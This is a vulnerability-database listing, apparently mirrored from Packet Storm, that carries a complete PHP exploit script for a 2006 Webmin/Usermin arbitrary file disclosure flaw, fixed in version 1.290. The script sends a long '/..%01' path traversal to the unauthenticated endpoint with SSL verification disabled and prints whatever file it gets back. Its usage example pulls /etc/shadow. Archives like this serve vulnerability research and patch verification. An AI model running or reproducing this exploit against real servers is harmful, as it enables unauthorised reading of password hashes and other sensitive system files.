Lucene search
+L

webmin.php.txt

🗓️ 12 Jul 2006 00:00:00Reported by jofferType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 18 Views

Webmin/Usermin file disclosure vulnerability; patch available in version 1.290.

Code
`<?php  
/*  
Name : Webmin / Usermin Arbitrary File Disclosure Vulnerability  
Date : 2006-06-30  
Patch : update to version 1.290  
Advisory : http://securitydot.net/vuln/exploits/vulnerabilities/articles/17885/vuln.html  
Coded by joffer , http://securitydot.net  
*/  
  
$host = $argv[1];  
$port = $argv[2];  
$http = $argv[3];  
$file = $argv[4];  
// CHECKING THE INPUT  
if($host != "" && $port != "" && $http != "" && $file != "") {  
  
  
$z = "/..%01";  
for ($i=0;$i<60;$i++) {  
$z.="/..%01";  
}  
  
$target = $http."://".$host.":".$port."/unauthenticated".$z."/".$file."";  
  
echo "Attacking ".$host."\n";  
echo "---------------------------------\n";  
  
// INITIALIZING CURL SESSION TO THE TARGET  
  
$ch = curl_init();  
  
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);  
curl_setopt($ch, CURLOPT_URL, $target);  
curl_setopt ($ch, CURLOPT_TIMEOUT, '10');  
curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,FALSE);  
  
$content = curl_exec($ch);  
curl_close ($ch);  
  
// CLOSING CURL  
  
// ECHOING THE CONTENT OF THE $FILE  
echo $content;  
  
echo "---------------------------------\n";  
echo "Coded by joffer , http://securitydot.net\n";  
  
} else {  
// IF INPUT IS NOT CORRECT DISPLAY THE README  
echo "Usage php webmin.php HOST PORT HTTP/HTTPS FILE\n";  
echo "Example : php webmin.php localhost 10000 http /etc/shadow\n";  
echo "Coded by joffer , http://securitydot.net\n";  
}  
  
?>  
securitydot.net - 2006-07-09  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Jul 2006 00:00Current
7.4High risk
Vulners AI Score7.4
18